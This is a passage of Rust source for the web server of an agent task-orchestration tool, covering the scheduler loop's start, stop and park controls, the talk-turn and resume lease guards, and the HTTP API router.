923                return Ok(Vec::new());
924            }
925            Err(e) => return Err(anyhow::Error::from(e).into()),
926        };
927        let mut seen = HashSet::new();
928        for entry in entries {
929            let path = entry.map_err(anyhow::Error::from)?.path();
930            if path.extension().is_none_or(|ext| ext != "json") {
931                continue;
932            }
933            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
934                continue;
935            };
936            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
937            seen.insert(id.to_owned());
938            // On platforms without inode/ctime, re-read rather than trust a
939            // same-size replacement with a preserved modification timestamp.
940            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
941                let Ok(task) = self.queue.get(id) else {
942                    // Isolate an unreadable record, as Queue::list does. Keep
943                    // its last known relationship so a lookup of THAT task
944                    // still fails on the authoritative read below. Never let
945                    // unrelated corruption disable every run and conversation.
946                    // Counts must not present its previous status as current.
947                    if let Some((_, record)) = index.records.get_mut(id) {
948                        Arc::make_mut(record).status = None;
949                    }
950                    continue;
951                };
952                #[cfg(test)]
953                {
954                    index.reparsed += 1;
955                }
956                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
957                    return Err(ApiError::conflict("Queue changed during read; retry"));
958                }
959                index
960                    .records
961                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
962            }
963        }
964        index.records.retain(|id, _| seen.contains(id));
965        let mut tasks: Vec<_> = index
966            .records
967            .values()
968            .map(|(_, task)| task.clone())
969            .collect();
970        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
971        Ok(tasks)
972    }
973
974    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
975        let Some(record) = self
976            .indexed_tasks()?
977            .into_iter()
978            .find(|task| task.runs.iter().any(|id| id == run_id))
979        else {
980            return Ok(None);
981        };
982        let task = self.queue.get(&record.id)?;
983        if !task.runs.iter().any(|id| id == run_id) {
984            return Err(ApiError::conflict("Task relationship changed; retry"));
985        }
986        Ok(Some(task))
987    }
988
989    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
990        self.indexed_tasks()?
991            .into_iter()
992            .filter(|task| {
993                task.chat.as_deref() == Some(talk_id)
994                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
995            })
996            .map(|record| {
997                let task = self.queue.get(&record.id)?;
998                if task.chat.as_deref() != Some(talk_id)
999                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1000                {
1001                    return Err(ApiError::conflict("Task relationship changed; retry"));
1002                }
1003                Ok(task)
1004            })
1005            .collect()
1006    }
1007
1008    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1009    /// `<home>/talks`, `<home>/runs`.
1010    pub fn open(repo: PathBuf) -> Self {
1011        Self::new(
1012            Queue::open(),
1013            Questions::open(),
1014            Talks::open(),
1015            run::runs_root(),
1016            run::home(),
1017            repo,
1018        )
1019    }
1020
1021    /// The merge mode the loop should use, as the command line gave it.
1022    ///
1023    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1024    /// the override is a property of how this process was invoked and not of
1025    /// where its state lives - which is all the tests that build a `Ui` by
1026    /// hand are saying.
1027    #[must_use]
1028    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1029        self.merge = merge;
1030        self
1031    }
1032
1033    /// The machine-config file the settings screen writes, when it is not
1034    /// [`Config::machine_layer`] (tests).
1035    #[cfg(test)]
1036    #[must_use]
1037    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1038        self.machine_config = path;
1039        self
1040    }
1041
1042    /// Where the runs' worktrees live, when it is not the default.
1043    ///
1044    /// The health view sizes this directory, so a test that leaves it at the
1045    /// default would be measuring the operator's own machine.
1046    #[must_use]
1047    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1048        self.worktrees_root = root;
1049        self
1050    }
1051
1052    /// Point the loop at something other than [`launch_daemon`].
1053    ///
1054    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1055    /// this crate may start the real loop.
1056    #[cfg(test)]
1057    #[must_use]
1058    fn with_launch(mut self, launch: Launch) -> Self {
1059        self.launch = launch;
1060        self
1061    }
1062
1063    /// Install a [`BusyQueueGate`] for the next pass through the busy
1064    /// branch's queued-draft write, replacing any earlier one.
1065    ///
1066    /// A setter on `&self` rather than a `with_*` builder consumed once,
1067    /// because a test that drives the busy branch more than once (as
1068    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1069    /// to build confidence the interleaving is handled deterministically and
1070    /// not just on a lucky run) needs a fresh channel pair each time, on the
1071    /// one `Ui` it already built its temp directories around.
1072    #[cfg(test)]
1073    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1074        *self
1075            .busy_queue_gate
1076            .lock()
1077            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1078    }
1079
1080    /// Prevent a restart from ending an already accepted send between its
1081    /// durable transcript write and detached worker reservation.
1082    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1083        let guard = Arc::clone(&self.admissions)
1084            .try_read_owned()
1085            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1086        if *guard {
1087            return Err(ApiError::conflict(
1088                "web restart in progress; retry this message",
1089            ));
1090        }
1091        Ok(guard)
1092    }
1093
1094    /// Start a scheduler that outlives this web process.
1095    async fn start_detached_loop(&self) -> ApiResult<()> {
1096        if self
1097            .upgrade_spawned
1098            .load(std::sync::atomic::Ordering::SeqCst)
1099        {
1100            return Err(ApiError::conflict("an upgrade is in progress"));
1101        }
1102        let reading = daemon::read_status(&self.home);
1103        if let Some(other) = Foreign::of(reading.as_ref()) {
1104            return Err(ApiError::conflict(format!(
1105                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1106                other.who()
1107            )));
1108        }
1109        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1110        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1111        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1112            || reading.is_some_and(|reading| {
1113                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1114            });
1115        if control.is_some() && scheduler_running {
1116            return Err(ApiError::conflict(
1117                "the scheduler is still stopping; retry Start after it has stopped",
1118            ));
1119        }
1120        if !jobs.iter().any(|job| job.kind == "scheduler") {
1121            let available =
1122                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1123            if available.is_none() {
1124                return Err(ApiError::conflict(
1125                    "the scheduler is still running or stopping; retry after its transition completes",
1126                ));
1127            }
1128            drop(available);
1129        }
1130        let opts = daemon::Opts {
1131            repo: self.repo.clone(),
1132            merge: self.merge.clone(),
1133            worktrees_root: Some(self.worktrees_root.clone()),
1134            ..daemon::Opts::default()
1135        };
1136        daemon::spawn_detached(&self.home, &opts)
1137            .await
1138            .map_err(ApiError::from)?;
1139        let mut state = self.lock_loop();
1140        state.last_error = None;
1141        state.rev += 1;
1142        Ok(())
1143    }
1144
1145    /// Start the loop in this process, or say who already has one.
1146    ///
1147    /// `foreign` is passed in rather than read here so that one request makes
1148    /// one judgement about who owns the loop: reading the status file again
1149    /// inside this function could refuse a start for a daemon the same
1150    /// response then reports as gone.
1151    #[cfg(test)]
1152    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1153        if let Some(other) = foreign {
1154            return Err(ApiError::conflict(format!(
1155                "{} is already running the loop, so this one will not start a \
1156                 second: two loops on one queue race for the same claims and \
1157                 burn the agent quota twice over. Stop it where it was \
1158                 started.",
1159                other.who()
1160            )));
1161        }
1162        let mut state = self.lock_loop();
1163        if self
1164            .upgrade_spawned
1165            .load(std::sync::atomic::Ordering::SeqCst)
1166        {
1167            return Err(ApiError::conflict("an upgrade is in progress"));
1168        }
1169        if state.live.as_ref().is_some_and(Live::alive) {
1170            return Err(ApiError::conflict(format!(
1171                "this magi web process (pid {}) is already running the loop",
1172                std::process::id()
1173            )));
1174        }
1175
1176        let stop = daemon::Stop::new();
1177        // The CLI's own defaults for everything the UI has no opinion about:
1178        // one poll interval and one retry budget, so a loop started from a
1179        // phone behaves exactly like the `magi serve` it replaces.
1180        let opts = daemon::Opts {
1181            repo: self.repo.clone(),
1182            merge: self.merge.clone(),
1183            // Whatever this `Ui` already reports worktree sizes and folds
1184            // against (see `with_worktrees_root`) is what the loop it starts
1185            // must reclaim orphaned worktrees under too - two different
1186            // opinions about where the worktree bay is would leave the
1187            // janitor pass reclaiming a directory nothing else on this
1188            // process is even looking at.
1189            worktrees_root: Some(self.worktrees_root.clone()),
1190            ..daemon::Opts::default()
1191        };
1192        let launch = self.launch;
1193        let looping = Arc::clone(&self.looping);
1194        let handle = tokio::spawn({
1195            let opts = opts.clone();
1196            let stop = stop.clone();
1197            async move {
1198                let failure = match launch(opts, stop).await {
1199                    Ok(()) => None,
1200                    Err(e) => Some(format!("{e:#}")),
1201                };
1202                match &failure {
1203                    Some(why) => tracing::error!("the loop stopped: {why}"),
1204                    None => tracing::info!("the loop stopped"),
1205                }
1206                // Recorded by the task itself rather than reaped by whichever
1207                // request happens next, so `loop_rev` moves the moment the
1208                // loop ends and a phone with the change stream open learns
1209                // that it did. Clearing `live` drops this task's own handle,
1210                // which only detaches it, and is the last thing it does.
1211                let mut state = lock_or_recover(&looping);
1212                state.live = None;
1213                state.last_error = failure;
1214                state.rev += 1;
1215            }
1216        });
1217        tracing::info!(
1218            "the loop is now running in this process: repo {}, merge {}",
1219            opts.repo.display(),
1220            opts.merge.as_deref().unwrap_or("as the config says")
1221        );
1222        state.live = Some(Live { stop, handle, opts });
1223        // A fresh start is not the place to keep showing why the last one
1224        // died; the operator has read it and pressed the button anyway.
1225        state.last_error = None;
1226        state.rev += 1;
1227        Ok(())
1228    }
1229
1230    /// Ask the loop to stop, without waiting for it to get there.
1231    ///
1232    /// Idempotent: a second tap on stop is not an error, because the first one
1233    /// leaves the loop running for as long as the run in flight takes and the
1234    /// operator has no way to tell a slow stop from a lost one.
1235    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1236        if let Some(other) = foreign {
1237            return Err(ApiError::conflict(format!(
1238                "the loop belongs to {}, and this process cannot stop it - \
1239                 stop it where it was started. A button that silently did \
1240                 nothing would be worse than this refusal.",
1241                other.who()
1242            )));
1243        }
1244        #[cfg(not(test))]
1245        {
1246            daemon::request_control(
1247                &self.home,
1248                if park {
1249                    crate::worker::Control::Park
1250                } else {
1251                    crate::worker::Control::Stop
1252                },
1253            )
1254            .map_err(ApiError::from)?;
1255            self.lock_loop().rev += 1;
1256            Ok(())
1257        }
1258        #[cfg(test)]
1259        {
1260            let mut state = self.lock_loop();
1261            let Some(live) = state.live.as_ref() else {
1262                return Ok(());
1263            };
1264            // A park upgrades a stop that has already been asked for: the
1265            // operator who tapped "stop" and then realised the run has an hour
1266            // left must not have to restart the loop to change their mind.
1267            if live.stop.stopped() && (!park || live.stop.parking()) {
1268                return Ok(());
1269            }
1270            if park {
1271                live.stop.park(crate::run::ParkCause::Operator);
1272                tracing::info!(
1273                    "the loop was asked to park; the run stops at its next node boundary"
1274                );
1275            } else {
1276                live.stop.stop();
1277                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1278            }
1279            state.rev += 1;
1280            Ok(())
1281        }
1282    }
1283
1284    /// The loop as both `/api/loop` and `/api/health` report it.
1285    ///
1286    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1287    /// health answers with this view *and* the daemon object beside it: one
1288    /// read per response is what stops a single answer naming a foreign owner
1289    /// in one field and calling the loop free in the other.
1290    #[cfg(not(test))]
1291    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1292        let jobs = crate::worker::active(&self.home).map_err(|error| {
1293            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1294        })?;
1295        Ok(self.runtime_loop_view(reading, &jobs))
1296    }
1297
1298    #[cfg(test)]
1299    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1300        let state = self.lock_loop();
1301        // A loop that panicked never recorded its own end, so the handle -
1302        // not the presence of the record - is what "running" means.
1303        let live = state.live.as_ref().filter(|live| live.alive());
1304        LoopView {
1305            running: live.is_some(),
1306            stopping: live.is_some_and(|live| live.stop.finishing()),
1307            parking: live.is_some_and(|live| live.stop.parking()),
1308            owned: live.is_some(),
1309            repo: live
1310                .map_or(&self.repo, |live| &live.opts.repo)
1311                .display()
1312                .to_string(),
1313            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1314            last_error: state.last_error.clone(),
1315            daemon: DaemonView::of(reading),
1316        }
1317    }
1318
1319    /// Reuse one active-job snapshot for both ownership and public health.
1320    fn runtime_loop_view(
1321        &self,
1322        reading: Option<daemon::Reading>,
1323        jobs: &[crate::worker::Job],
1324    ) -> LoopView {
1325        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1326        let reporting = reading
1327            .as_ref()
1328            .is_some_and(|r| r.running(Timestamp::now()));
1329        let managed = scheduler.is_some()
1330            || (reporting
1331                && reading
1332                    .as_ref()
1333                    .is_some_and(|r| r.worker_protocol == Some(1)));
1334        let control = crate::worker::control(&self.home, "scheduler")
1335            .ok()
1336            .flatten();
1337        // Foreground serve also persists its options, so ownership never
1338        // causes us to substitute the web process's repository for its own.
1339        let persisted = if managed && scheduler.is_none() {
1340            std::fs::read(self.home.join("scheduler-options.json"))
1341                .ok()
1342                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1343        } else {
1344            None
1345        };
1346        let repo = scheduler
1347            .and_then(|job| job.payload.get("repo"))
1348            .and_then(serde_json::Value::as_str)
1349            .map(str::to_owned)
1350            .or_else(|| {
1351                persisted
1352                    .as_ref()
1353                    .map(|opts| opts.repo.display().to_string())
1354            })
1355            .unwrap_or_else(|| self.repo.display().to_string());
1356        let merge = match scheduler {
1357            Some(job) => job
1358                .payload
1359                .get("merge")
1360                .and_then(serde_json::Value::as_str)
1361                .map(str::to_owned),
1362            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1363        };
1364        LoopView {
1365            running: managed || reporting,
1366            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1367            parking: matches!(control, Some(crate::worker::Control::Park))
1368                && jobs.iter().any(|job| job.kind == "task"),
1369            owned: managed,
1370            repo,
1371            merge,
1372            last_error: self.lock_loop().last_error.clone(),
1373            daemon: DaemonView::of(reading),
1374        }
1375    }
1376
1377    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1378    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1379        lock_or_recover(&self.looping)
1380    }
1381
1382    /// In-flight admission, detached startup, or a cross-process turn lease.
1383    fn is_thinking(&self, id: &str) -> bool {
1384        self.talk_turns
1385            .lock()
1386            .is_ok_and(|turns| turns.live.contains(id))
1387            // Another process (the CLI) can hold the turn through the
1388            // on-disk lease.
1389            || self.talks.turn_held(id)
1390            || crate::consult::turn_worker_active(&self.talks, id)
1391    }
1392
1393    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1394    /// 送信・アップグレードなどの判断には [`Ui::is_thinking`] を使う。
1395    fn is_thinking_observed(&self, id: &str) -> bool {
1396        self.talk_turns.try_lock().map_or_else(
1397            // Admission may itself be waiting on the worker store. Display a
1398            // conservative busy state rather than waiting behind that writer.
1399            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1400            |turns| turns.live.contains(id),
1401        )
1402            // Another process (the CLI) can hold the turn through the
1403            // on-disk lease.
1404            || self.talks.turn_held(id)
1405            || crate::consult::turn_worker_observed(&self.talks, id)
1406    }
1407
1408    /// Claim the right to run one turn in a talk, or report that it is busy.
1409    ///
1410    /// A talk is strictly turn-based: the agent is resumed with the
1411    /// conversation it already has, so two turns running at once would resume
1412    /// the same session twice and append their answers in whatever order the
1413    /// two CLIs finished in. The operator would come back to a transcript
1414    /// with two half-turns interleaved, which is unreadable and, worse,
1415    /// unfixable - there is no undo for a persisted turn.
1416    ///
1417    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1418    /// starting a second CLI invocation for the same session.
1419    ///
1420    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1421    /// taken to test-and-insert and released before the agent is spawned. The
1422    /// returned guard removes the id on drop, which is what makes a panicking
1423    /// handler or a phone that walks out of range leave the talk usable - axum
1424    /// drops the handler future when the client disconnects, and without the
1425    /// guard that talk would be wedged until the server restarted.
1426    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1427        self.claim_talk_turn(id, false)
1428    }
1429
1430    /// Claim a turn after durably queueing a draft, or notify its current
1431    /// owner that a drainer must recheck before it releases the slot.
1432    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1433        self.claim_talk_turn(id, true)
1434    }
1435
1436    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1437        let mut live = self
1438            .talk_turns
1439            .lock()
1440            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1441        if crate::consult::turn_worker_active(&self.talks, id) {
1442            if queued {
1443                *live.queued.entry(id.to_owned()).or_default() += 1;
1444            }
1445            return Ok(None);
1446        }
1447        let inserted = live.live.insert(id.to_owned());
1448        // The on-disk lease is the cross-process half of the gate. Taken
1449        // second, and undone if lost, so `live` never claims a turn the lease
1450        // refused.
1451        let lease = if inserted {
1452            match self.talks.claim_turn(id) {
1453                Ok(Some(lease)) => Some(lease),
1454                Ok(None) => {
1455                    live.live.remove(id);
1456                    None
1457                }
1458                Err(e) => {
1459                    live.live.remove(id);
1460                    return Err(ApiError::from(e));
1461                }
1462            }
1463        } else {
1464            None
1465        };
1466        if lease.is_none() {
1467            if queued {
1468                // A queued write has landed before this busy check.
1469                // `drain_loop` uses this generation to recheck after its
1470                // off-thread disk read, so it cannot release a turn between
1471                // this check and the write.
1472                *live.queued.entry(id.to_owned()).or_default() += 1;
1473            }
1474            return Ok(None);
1475        }
1476        Ok(Some(TalkTurnGuard {
1477            talk: id.to_owned(),
1478            turns: Arc::clone(&self.talk_turns),
1479            released: false,
1480            lease,
1481        }))
1482    }
1483
1484    /// Decide whether a free talk may start a new immediate turn while its
1485    /// claim lock is held. A persisted draft without an owner is recovery
1486    /// state, not a busy turn: two simultaneous `/say` requests must both
1487    /// leave it untouched rather than one of them appending to it.
1488    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1489        let mut live = self
1490            .talk_turns
1491            .lock()
1492            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1493        // A detached worker owns its turn across web process replacement.
1494        if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1495            return Ok(TalkTurnStart::Busy);
1496        }
1497        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1498            return Ok(TalkTurnStart::Foreign);
1499        };
1500        // A refused `Pending` below drops the lease again.
1501        let talk = self.talks.get(id).map_err(ApiError::from)?;
1502        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1503            return Ok(TalkTurnStart::Pending);
1504        }
1505        live.live.insert(id.to_owned());
1506        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1507            talk: id.to_owned(),
1508            turns: Arc::clone(&self.talk_turns),
1509            released: false,
1510            lease: Some(lease),
1511        }))
1512    }
1513
1514    fn queued_generation(&self, id: &str) -> u64 {
1515        let live = self
1516            .talk_turns
1517            .lock()
1518            .unwrap_or_else(PoisonError::into_inner);
1519        live.queued.get(id).copied().unwrap_or(0)
1520    }
1521
1522    /// Automatic updates begin only when execution and chat workers are idle.
1523    /// A worker racing this snapshot survives the restart on its own executable.
1524    fn auto_upgrade_busy(&self) -> bool {
1525        #[cfg(test)]
1526        if self
1527            .lock_loop()
1528            .live
1529            .as_ref()
1530            .is_some_and(|live| live.stop.busy_now())
1531        {
1532            return true;
1533        }
1534        crate::worker::active(&self.home)
1535            .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1536            || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1537            || !self
1538                .resuming
1539                .lock()
1540                .unwrap_or_else(PoisonError::into_inner)
1541                .is_empty()
1542            || !self
1543                .talk_turns
1544                .lock()
1545                .unwrap_or_else(PoisonError::into_inner)
1546                .live
1547                .is_empty()
1548            || self
1549                .talks
1550                .list()
1551                .iter()
1552                .any(|talk| self.is_thinking(&talk.id))
1553    }
1554
1555    /// Claim a run for a resume, on the same reasoning as
1556    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1557    /// disconnected phone does not wedge the run until the server restarts.
1558    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1559        let mut live = self
1560            .resuming
1561            .lock()
1562            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1563        if self
1564            .upgrade_spawned
1565            .load(std::sync::atomic::Ordering::SeqCst)
1566        {
1567            return Err(ApiError::conflict("an upgrade is in progress"));
1568        }
1569        if !live.insert(id.to_owned()) {
1570            return Err(ApiError::conflict(format!(
1571                "run {id} is already being resumed"
1572            )));
1573        }
1574        Ok(ResumeGuard {
1575            run: id.to_owned(),
1576            resuming: Arc::clone(&self.resuming),
1577        })
1578    }
1579
1580    /// The router, with this state baked in.
1581    ///
1582    /// The three front-end files get one explicit route each rather than a
1583    /// path parameter, so there is no traversal surface to get wrong: the set
1584    /// of servable paths is the set written here. The asset route below is the
1585    /// one exception and the only place in this server where a client names a
1586    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1587    pub fn router(self) -> Router {
1588        Arc::new(self).shared_router()
1589    }
1590
1591    fn shared_router(self: Arc<Self>) -> Router {
1592        Router::new()
1593            .route("/", get(index))
1594            .route("/app.css", get(app_css))
1595            .route("/app.js", get(app_js))
1596            .route("/api/health", get(health))
1597            .route("/api/references", post(id_links::resolve_text))
1598            .route("/api/loop", get(loop_get).post(loop_post))
1599            .route("/api/upgrade", post(upgrade_post))
1600            .route("/api/runs", get(runs_list))
1601            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1602            .route("/api/runs/{id}/progress", get(run_progress))
1603            .route("/api/runs/{id}/core", get(run_core))
1604            .route("/api/runs/{id}/report", get(run_report))
1605            .route("/api/runs/{id}/report.json", get(run_report_json))
1606            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1607            .route("/api/runs/{id}/fold", post(run_fold))
1608            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1609            .route("/api/runs/{id}/resume", post(run_resume))
1610            .route("/api/queue", get(queue_list))
1611            .route("/api/queue/page", get(queue_page))
1612            .route("/api/search", get(search_get))
1613            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1614            .route("/api/queue/{id}/core", get(task_core))
1615            .route("/api/stats", get(stats_get))
1616            .route("/api/stats/queue", get(stats_queue))
1617            .route("/api/repos", get(repos_list))
1618            .route("/api/settings", get(settings_get))
1619            .route("/api/settings/roles", put(settings_put_roles))
1620            .route("/api/queue/{id}/hold", post(queue_hold))
1621            .route("/api/queue/{id}/release", post(queue_release))
1622            .route("/api/queue/{id}/priority", post(queue_priority))
1623            .route("/api/queue/{id}/urgent", post(queue_urgent))
1624            .route("/api/queue/{id}/implementers", post(queue_implementers))
1625            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1626            .route("/api/queue/{id}/edit", post(queue_edit))
1627            .route("/api/queue/{id}/done", post(queue_done))
1628            .route("/api/questions", get(questions_list))
1629            .route("/api/questions/core", get(questions_core))
1630            .route("/api/questions/origins", get(question_origins))
1631            .route("/api/questions/{id}/answer", post(question_answer))
1632            .route("/api/questions/{id}/say", post(question_say))
1633            .route("/api/questions/{id}/consult", post(question_consult))
1634            .route("/api/questions/{id}/panel", get(question_panel))
1635            // The same asset, reachable from inside the panel by its bare
1636            // filename. A document served at `.../panel` resolves `shot.png`
1637            // to `.../shot.png`, which is not the asset route, so a panel
1638            // written the way its author was told to write it showed broken
1639            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1640            // it - deliberately - so the fix is that the panel's own URL ends
1641            // in a filename and its siblings are the assets.
1642            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1643            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1644            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1645            .route("/api/notifications", get(notifications_list))
1646            .route("/api/notifications/read-all", post(notifications_read_all))
1647            .route("/api/notifications/{id}/read", post(notification_read))
1648            .route(
1649                "/api/notifications/{id}/dismiss",
1650                post(notification_dismiss),
1651            )
1652            .route("/api/talks", get(talks_list).post(talk_post))
1653            .route("/api/talks/page", get(talks_page))
1654            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1655            .route("/api/talks/{id}/core", get(talk_core))
1656            .route("/api/talks/{id}/sections", get(talk_sections))
1657            .route("/api/talks/{id}/say", post(talk_say))
1658            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1659            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1660            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1661            .route("/api/talks/{id}/agent", post(talk_agent))
1662            .route("/api/talks/{id}/persona", post(talk_persona))
1663            .route("/api/talks/{id}/implementers", post(talk_implementers))
1664            .route("/api/talks/{id}/close", post(talk_close))
1665            .route("/api/talks/{id}/reopen", post(talk_reopen))
1666            // `DefaultBodyLimit` is raised only on this one route - every
1667            // other route on this server answers in a few kilobytes, and
1668            // widening the crate-wide default for all of them just because
1669            // one accepts a picture would let any other handler be handed
1670            // a multi-megabyte body it never expects.
1671            .route(
1672                "/api/talks/{id}/attachments",
1673                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1674            )
1675            .route(
1676                "/api/talks/{id}/attachments/{att}",
1677                get(talk_attachment_get),
1678            )
1679            .route("/api/talks/{id}/avatar", get(talk_avatar))
1680            .route("/avatars/operator.svg", get(operator_avatar))
1681            .route(
1682                "/api/avatar-settings",
1683                get(avatar_settings_get)
1684                    .put(avatar_settings_put)
1685                    .delete(avatar_settings_delete),
1686            )
1687            .route("/avatars/persona", get(settings_persona_avatar))
1688            .route("/avatars/magi", get(magi_avatar))
1689            .route(
1690                "/api/magi-icon",
1691                get(magi_icon_get)
1692                    .put(magi_icon_put)
1693                    .delete(magi_icon_delete),
1694            )
1695            .route("/api/events", get(events))
1696            .with_state(self)
1697    }
1698}
1699
1700/// One talk's turn slot, released on drop.
1701///
1702/// A guard rather than a matching `remove` at the end of the handler, because
1703/// the handler has several early returns and one `await` that can be cancelled
1704/// out from under it. A leaked id is a talk nobody can talk to again.
1705#[derive(Debug)]
1706struct TalkTurnGuard {
1707    talk: String,
1708    turns: Arc<Mutex<TalkTurns>>,
1709    released: bool,
1710    /// The cross-process half of the slot; dropped with the guard.
1711    lease: Option<crate::talk::TurnLease>,
1712}
1713
1714/// In-memory turn ownership plus the queue generation observed by a drainer.
1715///
1716/// The generation changes only after a durable queued draft is written and its
1717/// caller finds the turn busy. That lets the loop run filesystem work outside
1718/// this mutex while still making the final empty-check/release atomic with a
1719/// concurrent queue handoff.
1720#[derive(Debug, Default)]
1721struct TalkTurns {
1722    live: HashSet<String>,
1723    queued: HashMap<String, u64>,
1724}
1725
1726/// The atomic initial-state decision made by
1727/// [`Ui::begin_talk_turn_unless_pending`].
1728enum TalkTurnStart {
1729    Claimed(TalkTurnGuard),
1730    Busy,
1731    /// Another process holds the turn lease. Unlike `Busy` there is no local
1732    /// drain loop that would answer a queued draft, so the caller refuses.
1733    Foreign,
1734    Pending,
1735}
1736
1737impl TalkTurnGuard {
1738    #[cfg(test)]
1739    /// Does this guard still own the on-disk lease? A transient failure to
1740    /// check counts as owning: the next beat decides. A guard that lost it
1741    /// must not start another turn on the same session.
1742    fn owns(&self) -> bool {
1743        self.lease
1744            .as_ref()
1745            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1746    }
1747
1748    #[cfg(test)]
1749    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1750    /// than the lease's TTL still reads as held to other processes.
1751    async fn respond(
1752        &self,
1753        talk: &mut Talk,
1754        talks: &Talks,
1755        cfg: &Config,
1756        text: &str,
1757    ) -> anyhow::Result<()> {
1758        let lease = self
1759            .lease
1760            .as_ref()
1761            .context("the turn guard no longer holds its lease")?;
1762        talk::respond(lease, talk, talks, cfg, text).await
1763    }
1764
1765    /// Release while the caller already holds the claim mutex, closing the
1766    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1767    fn release(mut self, live: &mut TalkTurns) {
1768        // The on-disk lease goes first: while `live` still names the talk, no
1769        // local claim can start, so nobody observes the slot free but the
1770        // lease held.
1771        self.lease = None;
1772        live.live.remove(&self.talk);
1773        live.queued.remove(&self.talk);
1774        self.released = true;
1775    }
1776}
1777
1778impl Drop for TalkTurnGuard {
1779    fn drop(&mut self) {
1780        if self.released {
1781            return;
1782        }
1783        // Lease first, then the in-process slot (see `release`).
1784        drop(self.lease.take());
1785        if let Ok(mut live) = self.turns.lock() {
1786            live.live.remove(&self.talk);
1787            live.queued.remove(&self.talk);
1788        }
1789    }
1790}
1791
1792/// Releases a resume claim, so a run is resumable again after the attempt.
1793struct ResumeGuard {
1794    run: String,
1795    resuming: Arc<Mutex<HashSet<String>>>,
1796}
1797
1798impl Drop for ResumeGuard {
1799    fn drop(&mut self) {
1800        if let Ok(mut live) = self.resuming.lock() {
1801            live.remove(&self.run);
1802        }
1803    }
1804}
1805
1806/// Bind the port, waiting briefly for a predecessor to let go of it.
1807///
1808/// A restart hands the address from one process to the next, and the old one
1809/// holds its listener until it unwinds. A single `bind` can lose that race,
